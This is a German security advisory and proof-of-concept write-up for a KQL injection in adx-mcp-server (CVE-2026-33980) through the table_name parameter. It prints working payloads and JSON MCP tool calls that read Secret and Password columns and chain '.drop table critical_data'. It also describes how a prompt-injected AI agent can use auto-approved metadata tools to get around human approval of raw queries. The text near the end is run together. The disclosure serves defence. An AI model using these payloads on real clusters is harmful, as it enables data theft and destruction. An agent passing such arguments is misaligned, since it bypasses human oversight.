
Proof-of-Concept-Exploit für KQL-Injection in adx-mcp-server über den Parameter table_name, der Datenexfiltration und destruktive Befehle in Azure Data Explorer ermöglicht.
Schweregrad: Hoch (CVSS 8.3)
CWE: CWE-943 — Unsachgemäße Neutralisierung spezieller Elemente in Datenabfragelogik
Betroffen: adx-mcp-server <= 1.1.0
Sicherheitshinweis: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Danksagung: Romain Deperne
Drei MCP-Tools in adx-mcp-server interpolieren den Parameter table_name direkt über f-Strings in KQL-Abfragen (Kusto Query Language). Ein Angreifer oder ein durch Prompt-Injection manipulierter KI-Agent kann jede Tabelle im Azure Data Explorer-Cluster lesen, Verwaltungsbefehle ausführen (.drop table) oder beliebige Analyseabfragen ausführen — und dabei die Vertrauensgrenze zwischen den „sicheren" Metadaten-Tools und dem rohen execute_query-Tool umgehen.
Ich habe die Liste awesome-mcp-servers durchgesehen und gezielt nach MCP-Servern gesucht, die Cloud-Datenplattformen umschließen — diese sind besonders risikoreich, weil sie dafür ausgelegt sind, KI-Agenten direkten Datenbankzugriff zu gewähren, und MCP-Tool-Parameter vollständig vom Angreifer kontrollierbar sind (jedes LLM, das nicht vertrauenswürdige Daten verarbeitet, kann durch Prompt-Injection dazu gebracht werden, bösartige Tool-Argumente zu übergeben).
Bei der Untersuchung, wie MCP-Tool-Parameter in Azure Data Explorer-Abfragen gelangen, zeigten sich drei direkte Interpolationen in server.py: f"{table_name} | getschema", f"{table_name} | sample {sample_size}" und f".show table {table_name} details".
Der interessante Teil ist die Umgehung der Vertrauensgrenze: Der Server stellt sowohl ein rohes execute_query-Tool bereit (für das MCP-Clients möglicherweise eine menschliche Genehmigung verlangen) als auch diese „sicheren" Metadaten-Inspektionstools (die automatisch genehmigt werden). Durch Injection über die Metadaten-Tools lässt sich jede vom Client durchgesetzte Genehmigungsrichtlinie umgehen. Das war der Grund, warum dies von einem „Injection-Bug" zu einer echten Verletzung der Sicherheitsgrenze wurde.
Die KQL-Kommentarsyntax (//) ermöglicht es einer Payload, den Rest der ursprünglichen Abfrage zu unterdrücken.
Datei: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
Alle drei übergeben table_name aus den MCP-Tool-Argumenten direkt an client.execute(config.database, query) ohne Validierung.
KQL erlaubt das Verketten von Query-Operatoren mit | und die Ausführung von Management-Befehlen, denen ein . vorangestellt ist. Das Zeichen // beginnt einen Zeilenkommentar. Die direkte f-string-Interpolation ermöglicht daher Query-Injection:
f"{table_name} | getschema" → | project Secret // anhängen, um | getschema auszukommentierenf".show table {table_name} details" → \n.drop table injizieren, um einen Management-Befehl zu verkettenWarum dies über ein reines execute_query-Tool hinaus relevant ist: MCP-Clients unterscheiden häufig zwischen „sicheren" schreibgeschützten Tools (automatisch genehmigt) und rohen Ausführungstools (erfordern Bestätigung). Die Injection zielt auf die „sicheren" Metadaten-Tools ab und umgeht so die Genehmigungsgrenze.
Siehe poc.py für eine vollständige Demonstration. Zentrale Payloads:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
MCP-Tool-Aufrufe:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name-Werte zu übergeben, wodurch Prompt-Injection in vollständigen Datenzugriff umgewandelt wird